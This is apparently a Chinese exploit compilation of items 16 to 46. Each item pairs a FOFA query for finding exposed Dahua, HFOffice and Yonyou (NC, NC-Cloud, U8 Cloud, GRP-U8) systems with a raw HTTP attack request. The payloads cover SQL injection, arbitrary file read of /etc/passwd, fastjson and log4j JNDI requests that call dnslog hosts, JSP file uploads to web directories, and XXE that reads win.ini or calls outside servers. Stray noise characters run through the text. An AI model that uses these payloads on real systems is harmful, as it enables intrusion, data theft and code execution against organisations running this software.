Accept-Language: en
7 h! i3 l2 C5 b: D5 L% e& I' S9 Asec-ch-ua-platform: Windows
Accept-Encoding: gzip

7 f4 L3 H% a1 v6 s# f/ s- K0 c6 K# O9 D
16.  红帆HFOffice医微云SQL注入
1 b4 s. f! u$ z  m7 ~& LFOFA：title="HFOffice"
7 ]; c/ S1 L4 K( d1 J3 }poc中调用函数计算1234的md5值
4 j( t2 A. @; E( l2 f' XGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
2 K  }4 q  `8 s1 E, a2 uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
- q+ B$ R' A! BAccept: */*
Accept-Language: en
* P, C1 t% F$ c- e7 G5 SAccept-Encoding: gzip

0 h% K& a$ I1 ^( d1 O
$ j; U2 y& S4 J2 i17. 大华 DSS itcBulletin SQL 注入
8 v# V/ |# C5 r: |# R2 eFOFA：app="dahua-DSS"
! d6 j$ n% K! j/ C' EPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
8 j6 ]: J: |4 S5 N; N5 F' aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
2 i  x: p5 r5 G) l* z% fAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
5 C8 v2 t' K, o  E<s11:Body>
5 M$ Z8 n& r, q7 ]9 P" y    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
- P% Z9 N" w, y/ [: C# S% m+ @      <netMarkings>
/ U/ w( L+ k( @" Q4 O0 N       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
& `6 t* K" n5 l: }- O4 h    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
; @0 t: s. R8 J7 P( P! |

6 x. i9 [0 `  P1 h8 t18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
/ C5 E1 ?. }# T- D, Z4 w! cGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
' m6 D2 h& r+ x& Z/ cHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
$ r. d# T2 Z4 f( k9 P9 ^Connection: keep-alive
% I( ^( `3 g9 [  n+ m, C- _
9 J" E9 U- \) A4 ~6 D

* Q) i* }8 t/ ]( ]1 K! V19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
8 C5 k* m$ ?5 O$ {5 R# ^2 _0 MUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

' O1 g: A, u4 k9 w& ?
20. 大华ICC智能物联综合管理平台任意文件读取
) @- `& s+ H0 b  ?* T4 |FOFA：body="*客户端会小于800*"
  t1 k0 n  ^0 t3 m6 h; m; ^GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 ]; y: n: o3 G: G# G6 C8 eConnection: close
Accept: */*
  L8 b' I  d4 q0 k9 XAccept-Language: en
Accept-Encoding: gzip


3 v& c0 ^6 ]' @. I5 Y9 w) O2 o21. 大华ICC智能物联综合管理平台random远程代码执行
( Y1 q: l- c; J: w4 Z  pFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
- p+ N1 K2 h, H5 \4 x5 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
/ u5 {* K; I8 y2 N( N' jAccept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8

{
- W4 Y% R$ c% w' ~" c"a":{
" p2 |) a. ?3 q5 j  j   "@type":"com.alibaba.fastjson.JSONObject",
! }7 h0 t# e3 Y! b5 p    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}

( O; Q0 M  w! R! n, R
5 Z+ w3 H  R8 T* v22. 大华ICC智能物联综合管理平台 log4j远程代码执行
  a+ w/ L; a4 F" FFOFA：icon_hash="-1935899595"
/ C* @- A" H* ~) q) |  r0 v- fPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
  H8 ^4 r& D, ~/ k
{
"loginName":"${jndi:ldap://dnslog}"
0 d* e+ x) F% \& K}
8 C( p1 [$ K9 j7 u: W$ Z) i

+ x- N& g7 Y# j4 N- o
$ e/ J& z1 x4 S# V4 [23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
" d) f- t3 u6 A9 L$ B( YPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 `7 j" X: u. H( E8 H/ tContent-Type: application/json;charset=utf-8
7 A9 o) C9 _- h& j2 x& C; sAccept-Encoding: gzip
- O3 j7 H+ S/ fConnection: close
& T! j% n  W. Y" |+ O# K1 `
% q$ H7 |8 _3 S7 K4 P! t$ R& e{
3 t4 i, r# U4 \9 a, f    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
5 f3 E% C& I1 }! r& O- e       {"@type":"java.net.URL","val":"http://DNSLOG"}
/ ~1 ?4 d" {2 c" e        }""
}

* ~& {% k; h4 T- f% C
1 g+ w* _, F, C7 y1 I& K: ^24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
, e; f7 u4 n0 |5 XConnection: close
4 L. W% B4 t  {7 @- g( g9 x$ NContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
" r0 F* h+ u! hContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
6 G! W+ P3 |$ M% a' Z
  T3 u$ o  [* |6 s3 f. h, c9 x<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
. O' i1 r  N% f( M4 B+ q-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
$ v, ]4 w, f" J! j8 N, w4 EContent-Disposition: form-data; name="fname"
2 T9 q1 m2 y9 x% ^2 d
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

% x9 `' J# u+ c- I+ O8 I) O6 A# p
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
9 O- V0 q; u3 [5 a8 j6 gPOST /portal/registerServlet HTTP/1.1
  V6 `3 c& B5 gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
9 j; y) [) X; `6 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
0 X' r6 n7 ^+ }2 ^7 X# NAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
3 @# F; Z$ ]% ]2 U. u* J& FContent-Type: application/x-www-form-urlencoded
' f4 s& ^1 b& G- w
type=1&dsname=ldap://dnslog
& U& R6 Z5 P# j) a+ r$ o5 D4 Z
4 O4 y: h" y! d3 B
) t# W4 [6 x3 m) G
" f+ z& W1 w% s6 [+ J5 L7 I26. 用友NC linkVoucher SQL注入
/ C; e/ f1 a' ~7 SFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
: a, `% ?% p6 D- S4 A" k0 I7 y( h3 gHost: your-ip
3 b$ I" o6 j. `- M6 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
2 b: k: {+ F- o- a+ kAccept-Encoding: gzip, deflate
9 X$ P5 u4 W% z4 bAccept: */*
3 I. T3 f4 A$ ^2 V* V# k, \Connection: keep-alive

* H$ p+ n7 v$ r! D" i% e8 n# r2 {
27. 用友 NC showcontent SQL注入
/ R6 a5 {5 v8 {3 @, KFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
6 @7 E& C  G8 W1 ]Host: your-ip
) P. q$ W' t, s' D1 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# U, F; ?/ S+ K* N* a% aAccept-Encoding: identity
Connection: close
& E" b, F& v' {Content-Type: text/xml; charset=utf-8
  ]4 N+ [5 E4 K$ [4 W& I
. Z7 p) g  k3 f: m
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
8 S' a  A5 ?' n7 N4 l1 B* dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
5 L8 X4 K& u  g& T7 B5 ?* T( h5 MContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
* [$ V5 J& b- N4 p( A, m: _
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

  V% g: J' {9 V: ?6 l* R  o6 Q; n<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

1 w7 m6 c9 B3 @
/uapim/static/pages/nc/head.jsp

: R1 {; A/ ^, K- r8 C29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
5 t. {. X# Q! @2 k/ `0 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; A; r; O; c% V% i) o+ F+ M1 UAccept-Encoding: gzip, deflate
, w# |% l* r, ?: nAccept: */*
Connection: keep-alive


4 F0 E, r& `9 Q% ?$ |30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
) \5 J! V8 S% `, F+ i7 HContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
1 I6 t3 M2 `: B' A# x( ?6 Z: eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
) U$ q* w! n3 Q6 m6 c! M, l
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
& i' l2 j( }( M9 m  LContent-Type: image/jpeg
0 g# ^% B! [2 R: J: G3 Y: x: E* U------WebKitFormBoundaryH970hbttBhoCyj9V--
( x6 d' H% X( x- h

! d( R, t& s" z0 R( l" K31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
; I6 S# C1 U$ n" P' QHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
; b; N; j3 @/ |Content-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
/ a& x' U" h/ J7 D* \. iFOFA：app="用友-UFIDA-NC"
7 k  u/ n8 b. j7 ?" t9 QGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 {7 C/ [+ R$ s* ?Host: your-ip
% X! x: m% y4 A, q* [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
4 r6 v8 K8 ?+ @1 N: x" X( lConnection: keep-alive

) `  O/ o1 d, f, Q- Z3 J
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" o- @. h4 g8 P- P! w" I, G8 K* GHost: your-ip
9 o' ]' P" E: ]) C1 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
* f: C) i/ j/ M7 s% D: i0 w3 m* X& |
; M# X& C* i: d; G1 |; v
34. 用友NC warningDetailInfo接口SQL注入
  g# x, A% b7 D8 x% y" KFOFA：app="用友-UFIDA-NC"
* M, Y2 T- k* c) KGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 y9 Q. p6 g! |1 QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 ?  w( ]9 b; Y5 W* ~( a* F+ cContent-Type: application/x-www-form-urlencoded
- @* J! p/ W( |9 ~0 LAccept-Encoding: gzip, deflate
5 L9 T3 L, r; D* p# {: ?Accept: */*
6 ?# {* a  s2 w8 F1 ^) d* r" b# DConnection: keep-alive

. E$ R) j4 L( y5 D8 @( n; B4 j
+ z8 S  k6 t3 X6 R35. 用友NC-Cloud importhttpscer任意文件上传
. f2 \; E: {% OFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
: l7 M. t# w2 y3 W/ G  M! ~+ FHost: 203.25.218.166:8888
. d& u; Y5 s/ J) u1 DUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
. E* Y) p7 o+ K: mAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
2 }( x9 S1 B+ n' R$ Q+ C" U
7 R- x* U& v& d<%out.println(1111*1111);%>
7 c$ l. t" C- o--fd28cb44e829ed1c197ec3bc71748df0--
. M% a3 [9 {& d' c
4 H9 }2 P+ U/ y+ d* S
) \6 i; ^: N7 W7 T6 {3 G2 x36. 用友NC-Cloud soapFormat XXE
* ?1 A5 A' }: eFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
" f  q7 z# R% {# i3 ]& ?  Z1 OPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
+ q4 v# O% }( rContent-Length: 263
4 b0 Z. \/ S  W+ ]5 k! WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# J3 t" C: N4 U. R) D8 OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
. Z3 ?9 V3 ~! c8 M7 O  xContent-Type: application/x-www-form-urlencoded
- f7 w9 g4 V) qUpgrade-Insecure-Requests: 1

! ]6 Z% G8 O! X& l# {/ hmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

5 Y) N2 [. U2 A9 P, m. B' o6 @7 q1 H
6 P! n, g3 U2 W: S/ r. Z" q/ J4 @37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
8 m5 \# p6 ^; ~/ dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 l. n* E9 J$ F- t. F* xConnection: close
Content-Type: text/xml;charset=UTF-8
/ ?+ F. Y' w# h. Y1 K" XSOAPAction: urn:getResult
( ^0 ~1 w% u9 j$ tUpgrade-Insecure-Requests: 1
) c* F4 h% ^( Z- c* V: @. G3 y
2 {0 M  x6 [! @1 i" Y  ^; S5 n<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
: N0 d" H, \) z! d+ @) e<soapenv:Header/>
<soapenv:Body>
; I6 c' A0 p* x4 I) n6 q<iup:getResult>
<!--type: string-->
& l% p) S8 r3 p. o4 ~<iup:string><![CDATA[
1 D# x0 T1 w! N" [6 j: g& S<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
; R/ A' I- }  y<xxx/>]]></iup:string>
</iup:getResult>
5 r: [: q5 m; v& z  n9 F</soapenv:Body>
0 d% z! O+ A6 C2 o; n" V6 ~' k</soapenv:Envelope>
& K4 _8 ^7 L# L6 A
0 \  A3 @9 S; k- [
/ x9 S4 l' c& B1 q+ k
1 W4 a- b( ?9 F38. 用友U8 Cloud smartweb2.RPC.d XXE
5 ~7 M# `" k" O8 ?( T% Z! g1 V3 fFOFA：app="用友-U8-Cloud"
' K/ _* I7 N" c4 ~1 \8 z% UPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
5 {! C1 s# \! Y# Q" y: c* qHost: 192.168.40.131:8088
3 L) r) S7 u1 }' s% hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
& k- K6 G$ V2 |- k8 dContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
# H6 M+ z2 |; B4 c' CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% c! R/ p! m& }; Z+ vContent-Type: application/x-www-form-urlencoded

$ B3 s7 C" e4 |8 s9 `; T__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
' L* L$ x. n  e. e7 Z2 |* V

39. 用友U8 Cloud RegisterServlet SQL注入
! L( j1 G+ C8 O" s+ SFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
# ]7 u$ m/ ~9 k" ^  |8 t8 ?3 P7 P( CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
3 D; F# a" j8 Q' ^6 I5 ^* hConnection: close
* G- ~! W  [( PContent-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
% P; L( u8 c2 Z  E
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
( P! S- _# Z6 y3 V! V9 f; l8 U

- \4 n% r& h+ t+ l& L, \  I40. 用友U8-Cloud XChangeServlet XXE
6 Z, V$ T" U0 [( E. V- lFOFA：app="用友-U8-Cloud"
8 y6 B5 O( h4 `! J1 W0 ^. uPOST /service/XChangeServlet HTTP/1.1
* \2 t2 b. x! X) V- ~" RHost: x.x.x.x
6 ^+ T" U) m5 Y5 ]9 v9 VUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: d) E0 b2 U. t1 D: c( fContent-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
1 X; G3 C5 h3 Y8 C) J; W
. _/ ^. e6 g  s) S0 j9 R! m
7 M: k- b. x" @$ ^+ G41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
; q5 X" X  b) ~2 @) w  mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
/ g4 ~; k; o, _2 s" `Accept-Encoding: gzip
& q; C) u! v4 s* o3 TConnection: close

. o# a- K- T9 H' s" T; I, e
" ]+ T# r$ j5 D7 h) q42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
9 F, }$ ~* r/ b$ \8 c" ^* l! bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
) ~9 S/ \$ n- p, H: z
PAYLOAD
! Y- d: U" U3 ~/ z2 N  c

2 r+ v  f. h) T$ U$ h- \# mhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
/ I* L+ a0 d7 ^: W( n/ {4 G) B2 w- B
" Y( V0 o3 v, b1 b+ C43. 用友GRP-U8 userInfoWeb SQL注入致RCE
" A& Z% F) n( _4 HFOFA：app="用友-GRP-U8"
/ s1 h9 v! z6 g# {* n: lPOST /services/userInfoWeb HTTP/1.1
0 s3 @& i5 f( u9 x- XHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 b# V( m. r4 `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
" y+ k# z/ H; o) Q7 _. m: ?8 F8 w4 @
1 Y9 a) A  d4 ~7 g! W+ n( h<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
, ^3 w: x# x7 }- q9 m8 [2 e( r   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
1 q5 K  h# l2 o: m         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
+ }$ m1 O+ \# \4 k+ l; A) z      </ser:getUserNameById>
   </soapenv:Body>
- m2 M; q7 W! c4 M0 |5 q7 d# R</soapenv:Envelope>
. g. M" r9 B1 k, }

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# ]$ ~; l3 a: r; n. A8 bAccept-Language: zh-CN,zh;q=0.9
Connection: close
, f- u  e* ?9 k: [# X
) G$ V7 s' K7 [! B/ j5 B
# s  _& X( j+ }1 q45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
/ D8 Q6 }/ `% m; J0 ~1 d- C( _POST /ufgovbank HTTP/1.1
( J" r  W1 b, _4 |Host: 192.168.40.130:222
9 u9 h, a) _8 e8 N& _( ^6 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
( h' v% s2 F4 E' JContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& B6 X+ u+ }# `# gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

4 l& f( R* J- v4 N" ?& t  t- I- B
& N# X) ^1 l/ r/ m' d4 l) g46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
6 P) J: g* H1 Q9 rGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
2 V# c$ P/ K; |* \7 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
0 m3 S* a8 q0 e" I1 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
